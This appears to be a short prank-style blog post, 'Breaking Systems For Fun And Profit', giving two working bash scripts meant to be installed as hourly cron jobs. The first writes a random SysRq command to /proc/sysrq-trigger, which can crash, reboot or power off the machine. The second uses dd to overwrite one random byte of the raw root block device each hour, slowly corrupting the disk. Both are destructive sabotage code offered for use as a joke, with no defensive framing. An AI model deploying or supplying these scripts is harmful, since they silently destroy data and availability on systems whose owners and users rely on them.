Breaking Systems For Fun And Profit
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Happyfuntime Sysrq

Add the following file as /etc/cron.hourly/happyfuntime:

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#!/bin/bash
SYSRQLETTERS="bcdefghijklmnopqrstuvwxyz0123456789"
echo ${SYSRQLETTERS:${RANDOM}%${#SYSRQLETTERS}:1} > /proc/sysrq-trigger

Don’t forget to make the file executable.

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chmod +x /etc/cron.hourly/happyfuntime

Accelarated Bitrot

Create the following file as /etc/cron.hourly/bitrot

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#!/bin/bash
ROOTDEV=$(df -h / | sed -n '2p' | cut -d ' ' -f1)
ROOTSZ=$[$(blockdev --getsz ${ROOTDEV}) * 512]
LOCATION=$[${RANDOM} * ${RANDOM} * ${RANDOM} % ${ROOTSZ}]
dd if=/dev/urandom of=${ROOTDEV} bs=1 count=1 seek=${LOCATION} conv=notrunc